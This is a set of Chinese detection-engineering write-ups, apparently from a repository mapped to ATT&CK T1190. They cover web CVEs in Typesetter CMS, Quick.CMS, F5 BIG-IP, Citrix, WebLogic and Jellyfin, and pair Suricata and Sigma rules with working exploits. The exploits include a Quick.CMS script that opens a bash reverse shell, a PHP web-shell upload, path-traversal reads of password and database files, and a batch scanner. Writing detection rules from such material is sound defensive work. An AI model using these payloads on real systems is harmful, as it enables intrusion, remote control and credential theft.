- --------------
print(f'==> Error {e}')
-----------------------------------------------------
if __name__ == "__main__":
- --------------
obj = Exploit(login, password, url, file)
- --------------
obj.upload_zip()
```
## 测试留痕
```
yml
POST /index.php/Admin_Finder HTTP/1.1
Host: 172.17.41.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 186
Origin: http://172.17.41.106
Connection: keep-alive
Referer: http://172.17.41.106/index.php/Admin/Uploaded
Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l
verified=cea661e44fe5fe2e1e39fe3c9b055d556ea565fdc613f2adf8aed7b91d14f71002e28067814822df3aaf258cd7d97883f90b7a507fcdd8685b7deea232b9748b&cmd=extract&target=l1_ZmlsZS9zaW1wbGUucGhwLnppcAHTTP/1.1 200 OK
Date: Fri, 09 Oct 2020 07:42:58 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 9 Oct 2020 07:42:58 GMT
Expires: Fri, 9 Oct 2020 07:42:58 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 144
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"added":[{"mime":"text\/html","ts":1600337620,"read":1,"write":1,"size":348,"hash":"l1_ZmlsZS9zaW1wbGUucGhw","name":"simple.php","phash":"l1_ZmlsZQ"}]}GET /data/_uploaded/file/simple.php HTTP/1.1
Host: 172.17.41.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://172.17.41.106/index.php/Admin/Uploaded
Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Fri, 09 Oct 2020 07:43:01 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 181
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<html>
<body>
<form method="GET" name="simple.php">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2020-25790-requset";flow:established,to_server;content:"POST";http_method;content:"/index.php/Admin_Finder";http_uri;content:"&cmd=extract&target=";http_client_body; flowbits: set, first_get_req; noalert; reference:url,blog.csdn.net/xuandao_ahfengren/article/details/111402910;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25790-rsp";flow:established,to_client;content:"200";http_stat_code;content:"added";http_server_body;flowbits:isset,first_get_req;noalert;flowbits:set,second_get_req;sid:2;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25790-Typesetter CMS文件上传漏洞";flow:established,to_server;content:"GET";http_method;content:"/data/_uploaded/file/";http_uri;flowbits:isset,second_get_req;sid:3;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Typesetter CMS文件上传漏洞复现(CVE-2020-25790)
<https://blog.csdn.net/xuandao_ahfengren/article/details/111402910>
================================================
FILE: Web/2020/T1190-CVE-2020-35754-QuickCms访问控制错误漏洞.md
================================================
# T1190-CVE-2020-35754-QuickCms访问控制错误漏洞------------------
## 来自ATT&CK的描述------------------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。------------------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。------------------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。------------------
## 测试案例------------------
Opensolution Quick.Cart和Opensolution Quick.Cms都是波兰Opensolution公司的产品。Opensolution Quick.Cart是一款用于构建购物车平台的建站系统。Opensolution Quick.Cms是一款用于构建文本管理平台的建站系统。 OpenSolution Quick.CMS < 6.7 and Quick.Cart < 6.7 存在注入漏洞,该漏洞允许经过身份验证的用户通过Language选项卡的输入字段执行代码注入。------------------
## 检测日志------------------
HTTP------------------
## 测试复现------------------
POC&&EXP------------------
```
yml
# Exploit Title: Quick.CMS 6.7 - Remote Code Execution (Authenticated)
# Date: 2020-12-28
# Exploit Author: mari0x00
# Vendor Homepage: https://opensolution.org/
# Software Link: https://opensolution.org/download/?sFile=Quick.Cms_v6.7-pl.zip
# Description: https://secator.pl/index.php/2021/01/28/cve-2020-35754-authenticated-rce-in-quick-cms-and-quick-cart/
# Version: <= 6.7
# CVE : CVE-2020-35754------------------
# !/usr/bin/python3------------------
import requests
import sys
from termcolor import colored
from time import sleep------------------
print(colored('''###########################################################''',"red"))
print(colored('''###### Quick.CMS authenticated RCE by mari0x00 #######''',"red"))
print(colored('''###########################################################''',"red"))
print("")------------------
if len(sys.argv) != 6:
print((colored("[~] Usage : python3 quickpwn.py <url> <username> <password> <IP> <PORT>","red")))
print((colored("[~] Example: python3 quickpwn.py http://192.168.101.105/quick.cms/ john@example.com pass123 192.168.101.101 4444","red")))
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
IP = sys.argv[4]
PORT = sys.argv[5]------------------------------------------------------------------------------------------------------------------
# Start session
s = requests.Session()
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}------------------------------------------------------------------------------------------------------------------
# Authenticate
print((colored("[+] Attempting user login","blue")))------------------
login_data = {
"sEmail": username,
"sPass": password,
"bAcceptLicense": "1",
"iAcceptLicense": "true"
}------------------
login = s.post(url+"admin.php?p=login", login_data, headers=headers)
sleep(0.5)------------------------------------------------------------------------------------------------------------------
# Exploit
print((colored("[+] Adding shell command","blue")))
payload = "Back end\\\"; system('/bin/bash -c \\'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1\\''); //"------------------
shell = {
"sOption": "save",
"Back_end_only": payload
}------------------
exploit = s.post(url+"admin.php?p=languages&sLangEdit=en", shell, headers=headers)
sleep(1)------------------
# Triggering reverse shell (three times just in case)
print("")
print((colored("[+] Triggering the shell. Go nuts!","green")))
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)------------------
```
- -----------------
## 检测规则/思路------------------
### Suricata规则------------------
```
s
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms-1";flow:established,to_server;content:"POST";http_method;content:"/quickcmsadmin.php?p=";http_uri;content:"bAcceptLicense=1&iAcceptLicense=true";http_client_body;flowbits:set,first_req;noalert;classtype:web-application-attck;sid:1;rev:1;)------------------
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms-2";flow:established,to_server;content:"POST";http_method;content:"/quickcmsadmin.php?p=";http_uri;content:"Back_end_only=";http_client_body;flowbits:isset,first_req;noalert;flowbits:set,second-req;classtype:web-application-attck;sid:2;rev:1;)------------------
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms访问控制错误漏洞";flow:established,to_server;content:"GET";http_method;content:"/quickcmsadmin.php?p=languages";http_uri;flowbits:isset,second-req;reference:url,www.anquanke.com/vul/id/2332309;classtype:web-application-attck;sid:3;rev:1;)------------------
```
- -----------------
### 建议------------------
流量+安全设备比较容易检测到此攻击行为。------------------
## 参考推荐------------------
MITRE-ATT&CK-T1190------------------
<https://attack.mitre.org/techniques/T1190/>------------------
Opensolution Quick.Cart和Opensolution Quick.Cms访问控制错误漏洞------------------
<https://www.anquanke.com/vul/id/2332309>
================================================
FILE: Web/2020/T1190-CVE-2020-5902-F5_BIG-IP_远程代码执行漏洞.md
================================================
# T1190-CVE-2020-5902-F5_BIG-IP-远程代码执行
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。
未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
漏洞影响范围:
11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x
## 检测日志
HTTP.log
## 测试复现
漏洞利用建议参考:
F5 BIG-IP 远程代码执行漏洞(CVE-2020-5902) 漏洞利用
<https://blog.csdn.net/wuyou1995/article/details/107170186/>
cve-2020-5902 RCE的payload以及绕过方式
<https://www.cnblogs.com/potatsoSec/p/13263806.html>
## 测试留痕
暂无实测,故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。
### 文件读取POC
```
yml
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
```
### 通过java反序列化绕过waf的payload
```
yml
String dburl = "jdbc:hsqldb:https://" + server +
":443/tmui/login.jsp/..%3b/hsqldb/"; #截取部分内容
```
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞
status: experimental
references:
- https://blog.csdn.net/wuyou1995/article/details/107170186/
- https://www.cnblogs.com/potatsoSec/p/13263806.html
author: Florian Roth
translator: 12306Bro
date: 2020/07/05
logsource:
category: webserver
detection:
selection_base:
c-uri|contains:
- '/tmui/'
- '/hsqldb'
selection_traversal:
c-uri|contains:
- '..;/'
- '.jsp/..'
condition: selection_base and selection_traversal
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
tags:
- attack.initial_access
- attack.t1190
level: critical
```
### 建议
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
F5 BIG-IP 远程代码执行漏洞(CVE-2020-5902) 漏洞利用
<https://blog.csdn.net/wuyou1995/article/details/107170186/>
cve-2020-5902 RCE的payload以及绕过方式
<https://www.cnblogs.com/potatsoSec/p/13263806.html>
================================================
FILE: Web/2020/T1190-CVE-2020-8193-CVE-2020-8195.md
================================================
# T1190-CVE-2020-8193/CVE-2020-8195
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Citrix Systems Citrix Application Delivery Controller(ADC)等都是美国思杰系统(Citrix Systems)公司的产品。Citrix Application Delivery Controller是一款应用交付控制器。Citrix Systems Gateway(Citrix Systems NetScaler Gateway)是一套安全的远程接入解决方案。Citrix System SDWAN WAN-OP是一款SD-WAN(虚拟软件定义的广域网)设备。Citrix Systems Citrix ADC、Citrix Gateway和Citrix SDWAN WAN-OP中存在安全漏洞。攻击者可利用该漏洞绕过权限限制。
## 检测日志
HTTP.log
## 测试复现
漏洞利用方式建议参考:
Citrix Systems产品安全漏洞 CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 poc
<https://www.cnblogs.com/potatsoSec/p/13281577.html>
Citrix安全研究历险记
<https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html>
## 测试留痕
暂无实测,截取部分公开资料内容作为留痕数据。
### 删除文件
```
yml
POST /rapi/filedownload?filter=remove:1,path:%2ftmp%2ftest HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
rand_key: 2061490565.1580290269373855
DNT: 1
X-NITRO-USER: henk
X-NITRO-PASS: henk
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; rdx_pagination_size=25%20Per%20Page; SESSID=05afba59ef8e0e35933f3bc266941337
Content-Type: application/xml
Content-Length: 31
<clipermission></clipermission>
```
以上内容截取自<https://www.cnblogs.com/potatsoSec/p/13281577.html>
### 获取默认所有签名
```
yml
POST /pcidss/report?type=all_signatures&sid=254&username=nsroot&profile_name=default&set=0&sig_name=_default_signature_&sig_start_no=1 HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/pcidss/launch_report?type=main
Content-Type: application/xml
Content-Length: 0
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```
以上内容截取自<https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html>
## 检测规则/思路
### sigma规则
```
yml
title: 检测可疑的CVE-2020-8193/CVE-2020-8195
references:
- https://www.cnblogs.com/potatsoSec/p/13281577.html
- https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/
status: experimental
date: 2020/07/10
tags:
- attack.initial_access
- attack.t1190
logsource:
category: webserver
detection:
selection1:
c-uri|contains:
- '/rapi/filedownload?filter=path:%2F' #删除文件时POST请求,URL路径包含的字段。
selection2:
c-uri|contains|all:
- '/pcidss/report' #获取所有默认签名时POST请求URL内包含的字段
- 'type=all_signatures'
- 'sig_name=_default_signature_'
condition: 1 of them
fields:
- client_ip
- vhost
- url
- response
falsepositives:
- Unknown
level: critical
```
### 建议
建议使用HTTP流量+安全设备进行检测分析,研判攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
================================================
FILE: Web/2021/T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞.md
================================================
# T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞-----------------
## 来自ATT&CK的描述-----------------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。-----------------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。-----------------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。-----------------
## 测试案例-----------------
2021年1月20日,绿盟科技监测发现Oracle官方发布了2021年1月关键补丁更新公告CPU(Critical Patch Update),共修复了329个不同程度的漏洞,其中包括7个影响WebLogic的严重漏洞(CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756),未经身份验证的攻击者可通过此次的漏洞实现远程代码执行。CVSS评分均为9.8,利用复杂度低。建议用户尽快采取措施,对上述漏洞进行防护。-----------------
### 0x1 影响版本-----------------
```
yml
WebLogic Server 10.3.6.0.0-----------------
WebLogic Server 12.1.3.0.0-----------------
WebLogic Server 12.2.1.3.0-----------------
WebLogic Server 12.2.1.4.0-----------------
WebLogic Server 14.1.1.0.0-----------------
```
- ----------------
### 0x2 漏洞详情-----------------
可参考:-----------------
Weblogic LDAP 远程代码执行漏洞 CVE-2021-210:<https://blog.csdn.net/m0_46257936/article/details/112984836>-----------------
【漏洞复现系列】超详细复现过程_CVE-2021-2109_Weblogic Server远程代码执行漏洞复现_JDK版本对比:<https://www.cnblogs.com/huaflwr/p/14317388.html>-----------------
## 检测日志-----------------
HTTP.log,主要是基于POC报文进行检测,POC如下:-----------------
```
yml
POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.122.9:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:whoami
Cookie: ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close-----------------
配合未授权访问后台-----------------
POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.122.9:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:pwd
Cookie: ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close-----------------
```
- ----------------
## 测试复现-----------------
可参考漏洞详情部分-----------------
## 检测规则/思路-----------------
### sigma规则-----------------
```
yml
title: Oracle WebLogic CVE-2021-2109 HTTP协议远程代码执行漏洞检测
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://blog.csdn.net/m0_46257936/article/details/112984836
- https://www.cnblogs.com/Yang34/archive/2004/01/13/14327495.html
logsource:
category: webserver #日志源:webserver
detection:
selection:
cs-method: 'GET' #请求方法为GET
c-uri|contains|all: #请求url中包含以下任意内容
- 'com.bea.console.handles.JndiBindingHandle'
- 'ldap://'
- 'AdminServer'
condition: selection
fields:
- c-ip
- c-dns
falsepositives: #误报情况 未知
- Unknown
level: critical
tags:
- attack.t1190
- attack.initial_access
- cve.2021-2109-----------------
```
- ----------------
### 建议-----------------
建议使用HTTP流量+安全设备(天眼)进行检测分析判断攻击是否成功。-----------------
## 参考推荐-----------------
MITRE-ATT&CK-T1190-----------------
<https://attack.mitre.org/techniques/T1190/>-----------------
Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109-----------------
<https://blog.csdn.net/m0_46257936/article/details/112984836>-----------------
【漏洞复现系列】超详细复现过程_CVE-2021-2109_Weblogic Server远程代码执行漏洞复现_JDK版本对比-----------------
<https://www.cnblogs.com/huaflwr/p/14317388.html>-----------------
CVE-2021-2109 Weblogic Server远程代码执行-----------------
<https://www.cnblogs.com/Yang34/archive/2004/01/13/14327495.html>
================================================
FILE: Web/2021/T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞.md
================================================
# T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Jellyfin是一个自由软件媒体系统,在10.7.1版之前的Jellyfin中,攻击者可以通过精心构造的请求读取Jellyfin服务器端的任意文件,当使用Windows主机作为操作系统时,此问题将变得跟加普遍,该漏洞已在10.7.1版本中修复。
影响范围:Jellyfin<10.7.1
## 检测日志
HTTP
## 测试复现
### 利用POC
从服务器下载带有密码的jellyfin.db:
/Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/
未经授权读取windows的文件
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.aac/
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
读取host文件
/Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts/stream.mp3/
读取带有密码的数据库文件
/Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/
### Python_POC
```
python
# 批量ip
import requests
import sys
import urllib3
urllib3.disable_warnings()
- -------------------------
if len(sys.argv)!=2:
print('Usage: python3 xxx.py urls.txt')
sys.exit()
txt= sys.argv[1]
f=open(txt,'r+')
for i in f.readlines(): --------------------------
url=i.strip()
url=url+"/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
"Content-Type": "application/octet-stream"
}
response=requests.get(url,headers=headers,verify=False)
if response.status_code==200:
print(url+" "+"存在漏洞")
- -------------------------
else:
print(url+" "+"不存在漏洞")
```
```
python
# 单个ip
import requests
import sys
import urllib3
urllib3.disable_warnings()
- -------------------------
if len(sys.argv)!=2: --------------------------
print('Usage: python3 xxx.py http://xxx.xxx.xxx.xxx ')
sys.exit()
url= sys.argv[1]
url=url+"/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
"Content-Type": "application/octet-stream"
}
response=requests.get(url,headers=headers,verify=False)
if response.status_code==200:
print("存在漏洞")
- -------------------------
else:
print("不存在漏洞")
```
## 测试留痕
```
yml
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
Host: 10.16.45.164:5577
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/1.1 200 OK
Date: Thu, 08 Apr 2021 10:13:59 GMT
Content-Type: application/octet-stream
Server: Microsoft-NetCore/2.0, UPnP/1.0 DLNADOC/1.50
Content-Length: 331776
Cache-Control: public
Last-Modified: Sun, 04 Apr 2021 15:34:24 GMT
Accept-Ranges: bytes
Age: 326376
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Cookie, Date, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, Want-Digest, X-MediaBrowser-Token, X-Emby-Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Origin: 110.93.247.208:5577
SQLite format 3......@ ...@...Q...............................................................@..?...........................................................}...?+...indexIX_AccessSchedules_UserIdAccessSchedules.CREATE INDEX "IX_AccessSchedules_UserId" ON "AccessSchedules" ("UserId").<
..##..?tablePreferencesPreferences.CREATE TABLE "Preferences" (
"Id" INTEGER NOT NULL CONSTRAINT "PK_Preferences" PRIMARY KEY AUTOINCREMENT,
"Kind" INTEGER NOT NULL,
"Value" TEXT NOT NULL,
"RowVersion" INTEGER NOT NULL,
"Preference_Preferences_Guid" TEXT NULL,
CONSTRAINT "FK_Preferences_Users_Preference_Preferences_Guid" FOREIGN KEY ("Preference_Preferences_Guid") REFERENCES "Users" ("Id") ON DELETE RESTRICT
).? ..##..EtablePermissionsPermissions
CREATE TABLE "Permissions" (
"Id" INTEGER NOT NULL CONSTRAINT "PK_Permissions" PRIMARY KEY AUTOINCREMENT,
"Kind" INTEGER NOT NULL,
"Value" INTEGER NOT NULL,
"RowVersion" INTEGER NOT NULL,
"Permission_Permissions_Guid" TEXT NULL,
CONSTRAINT "FK_Permissions_Users_Permission_Permissions_Guid" FOREIGN KEY ("Permission_Permissions_Guid") REFERENCES "Users" ("Id") ON DELETE RESTRICT
).X...!!..{tableImageInfosImageInfos CREATE TABLE "ImageInfos" (
"Id" INTEGER NOT NULL CONSTRAINT "PK_ImageInfos" PRIMARY KEY AUTOINCREMENT,
"UserId" TEXT NULL,
"Path" TEXT NOT NULL,
"LastModified" TEXT NOT NULL,
CONSTRAINT "FK_ImageInfos_Users_UserId" FOREIGN KEY ("UserId") REFERENCES "Users" ("Id") ON DELETE RESTRICT
).....++..etableAccessSchedulesAccessSchedules.CREATE TABLE "AccessSchedules" (
"Id" INTEGER NOT NULL CONSTRAINT "PK_AccessSchedules" PRIMARY KEY AUTOINCREMENT,
"UserId" TEXT NOT NULL,
"DayOfWeek" INTEGER NOT NULL,
"StartHour" REAL NOT NULL,
"EndHour" REAL NOT NULL,
CONSTRAINT "FK_AccessSchedules_Users_UserId" FOREIGN KEY ("UserId") REFERENCES "Users" ("Id") ON DELETE CASCADE
)..........tableUsersUsers.CREATE TABLE "Users" (
"Id" TEXT NOT NULL CONSTRAINT "PK_Users" PRIMARY KEY,
"Username" TEXT NOT NULL,
"Password" TEXT NULL,
"EasyPassword" TEXT NULL,
"MustUpdatePassword" INTEGER NOT NULL,
"AudioLanguagePreference" TEXT NULL,
"AuthenticationProviderId" TEXT NOT NULL,
"PasswordResetProviderId" TEXT NOT NULL,
"InvalidLoginAttemptCount" INTEGER NOT NULL,
"LastActivityDate" TEXT NULL,
"LastLoginDate" TEXT NULL,
"LoginAttemptsBeforeLockout" INTEGER NULL,
"SubtitleMode" INTEGER NOT NULL,
"PlayDefaultAudioTrack" INTEGER NOT NULL,
"SubtitleLanguagePreference" TEXT NULL,
"DisplayMissingEpisodes" INTEGER NOT NULL,
"DisplayCollectionsView" INTEGER NOT NULL,
"EnableLocalPassword" INTEGER NOT NULL,
"HidePlayedInLatest" INTEGER NOT NULL,
"RememberAudioSelections" INTEGER NOT NULL,
"RememberSubtitleSelections" INTEGER NOT NULL,
"EnableNextEpisodeAutoPlay" INTEGER NOT NULL,
"EnableAutoLogin" INTEGER NOT NULL,
"EnableUserPreferenceAccess" INTEGER NOT NULL,
"MaxParentalAgeRating" INTEGER NULL,
"RemoteClientBitrateLimit" INTEGER NULL,
